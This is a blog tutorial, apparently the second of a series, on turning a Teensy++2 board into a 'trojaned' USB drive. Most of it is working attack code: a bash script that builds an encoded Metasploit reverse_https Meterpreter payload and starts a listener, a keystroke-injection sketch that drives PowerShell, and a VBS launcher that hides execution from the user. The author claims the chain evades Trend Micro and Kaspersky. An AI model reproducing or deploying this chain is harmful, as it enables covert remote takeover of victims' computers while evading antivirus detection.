Teensy++2 Metasploit Part. 2

 

Avoiding anti-virus software in order to execute our payloads off Teensy is my next exercise. Lately most of the Metasploit generated loaders get detected. There are various techniques to bypass this detection. I stumbled across Bernardo Dameles blogpost and decided to use his technique on a Teensy++2

The original article is here   execute-metasploit-payloads-bypassing.html

All the steps here are already covered in the previous article here  Teensy2-0-and-metasploit So once again with our Teensy and Arduino programming enviroment set-up on our linux box we can create a new project “trojaned-usbdrive” for example

Our code is a little different than previously  (Again place this in the Metasploit root folder)

#!/bin/bash
echo "************************************************************"
echo "           Automatic shellcode generator                    "
echo "                                                            "
echo "************************************************************"
echo -e "What Port Number are we gonna listen to? : \c"
read port
# Get OS name
OS=`uname`
IO="" # store IP
case $OS in
   Linux) IP=`ifconfig tun0  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;;
   FreeBSD|OpenBSD) IP=`ifconfig  tun0 | grep -E 'inet.[0-9]' | grep -v '127.0.0.1' | awk '{ print $2}'` ;;
   SunOS) IP=`ifconfig -a | grep inet | grep -v '127.0.0.1' | awk '{ print $2} '` ;;
   *) IP="Unknown";;
esac
#echo "$IP"
./msfpayload windows/meterpreter/reverse_https LHOST=$IP LPORT=$port EXITFUNC=process R | ./msfencode -e x86/alpha_mixed -t raw BufferRegister=EAX > alphacode 

if [ ! -d "$ShellCode" ]; then
mkdir ShellCode
fi
mv alphacode ShellCode
echo -e  "a.exe \c" > ShellCode/run.bat
cat ShellCode/alphacode >> ShellCode/run.bat
rm ShellCode/alphacode  
mv ShellCode/run.bat /home/knoppix/arduino-0022/trojaned_usbdrive/disk

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=$IP LPORT=$port AutoRunScript='migrate explorer.exe'  E

We are using Alpha_mixed encoding to create our Meterpreter shellcode.  What happens here is that reverse_https meterpreter payload is encoded via msfencode using Alpha-mixed chars, file is dumped as alphacode to Shellcode subdirectory and run.bat gets created there as well.  Then it moves the run.bat into the project directory of you arduino installation folder (trojaned_usbdrive) in this example and starts the multi handler listener.

Now we need to get the shellcodexec win32 binary from github.com/inquisb/shellcodeexec  You can get the sources there and compile it for x64 too.  In this example I named the file a.exe and moved it into the disk folder in the “trojaned-usbdrive” project folder.

Next we have the Teensy++2 code that loads everything:

#include <phukdlib.h>
void setup() {
  }

void loop () {
  delay(9000);
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_ESC);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  Keyboard.print("powershell");
  PressAndRelease(KEY_ENTER,1);
  delay(8000);
  Keyboard.print("$disk = wmic logicaldisk list brief | select-string -pattern tinydisk | out-string");
  PressAndRelease(KEY_ENTER,1);
  delay(1000);
  Keyboard.print("$drive = $disk.substring(2,2)");
  PressAndRelease(KEY_ENTER,1);
  delay(1000);
  Keyboard.print("cd $drive");
  PressAndRelease(KEY_ENTER,1);  
  delay(500);
  Keyboard.print("invoke-expression $drive");
  Keyboard.set_key1 (KEY_BACKSLASH);
  Keyboard.send_now();
  Keyboard.print("exec.vbs");
  PressAndRelease(KEY_ENTER,1);
  delay(1000);
  Keyboard.print("exit");
  PressAndRelease(KEY_ENTER,1);
  delay(9000000);
}

Our exec.vbs is almost the same as before to make sure the whole process is invisible to the user..

Set oShell = CreateObject("Wscript.shell")
sPath=Wscript.ScriptFullName
x=InstrRev(sPath, "\")
sPath=Left(sPath,x)
sCmd = sPath+"run.bat"
oShell.Run sCmd,0,False

So you need 3 files in the trojaned-usbdrive folder : a.exe run.bat and exec.vbs. When this loads its fast, silent and does not leave too much noise on the screen.

This should get by most of antivirus software undetected. (Tested against Trend Micro, Kaspersky …)

Part 3… The Final Product